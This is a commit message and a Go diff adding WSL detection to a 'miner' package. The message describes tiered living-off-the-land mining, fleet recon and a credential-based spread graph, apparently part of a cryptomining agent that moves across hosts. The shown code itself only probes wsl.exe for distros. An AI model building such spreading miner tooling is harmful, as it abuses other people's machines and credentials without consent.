Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/wsl_detect.go

@@ -0,0 +1,59 @@
+package miner
+
+import (
+	"context"
+	"os/exec"
+	"runtime"
+	"strings"
+	"time"
+)
+
+// WSLRuntimeInfo describes a detected WSL2 installation on Windows.
+type WSLRuntimeInfo struct {
+	Available bool
+	CLI       string   // path to wsl.exe
+	Distros   []string // registered distro names (first is default launch target)
+}
+
+// WSLDetector probes WSL availability. Tests inject a mock via SetWSLDetector.
+var WSLDetector = DetectWSL
+
+// SetWSLDetector restores the default detector when fn is nil.
+func SetWSLDetector(fn func() WSLRuntimeInfo) {
+	if fn == nil {
+		WSLDetector = DetectWSL
+		return
+	}
+	WSLDetector = fn
+}
+
+// DetectWSL checks for wsl.exe and at least one registered distro.
+func DetectWSL() WSLRuntimeInfo {
+	if runtime.GOOS != "windows" {
+		return WSLRuntimeInfo{}
+	}
+	path, err := exec.LookPath("wsl.exe")
+	if err != nil {
+		return WSLRuntimeInfo{}
+	}
+	out, err := func() ([]byte, error) {
+		ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
+		defer cancel()
+		return exec.CommandContext(ctx, path, "-l", "-q").CombinedOutput()
+	}()
+	if err != nil {
+		// WSL may be installed but no distros — still not usable for mining.
+		return WSLRuntimeInfo{CLI: path}
+	}
+	var distros []string
+	for _, line := range strings.Split(string(out), "\n") {
+		name := strings.TrimSpace(line)
+		if name != "" {
+			distros = append(distros, name)
+		}
+	}
+	if len(distros) == 0 {
+		return WSLRuntimeInfo{CLI: path}
+	}
+	return WSLRuntimeInfo{Available: true, CLI: path, Distros: distros}
+}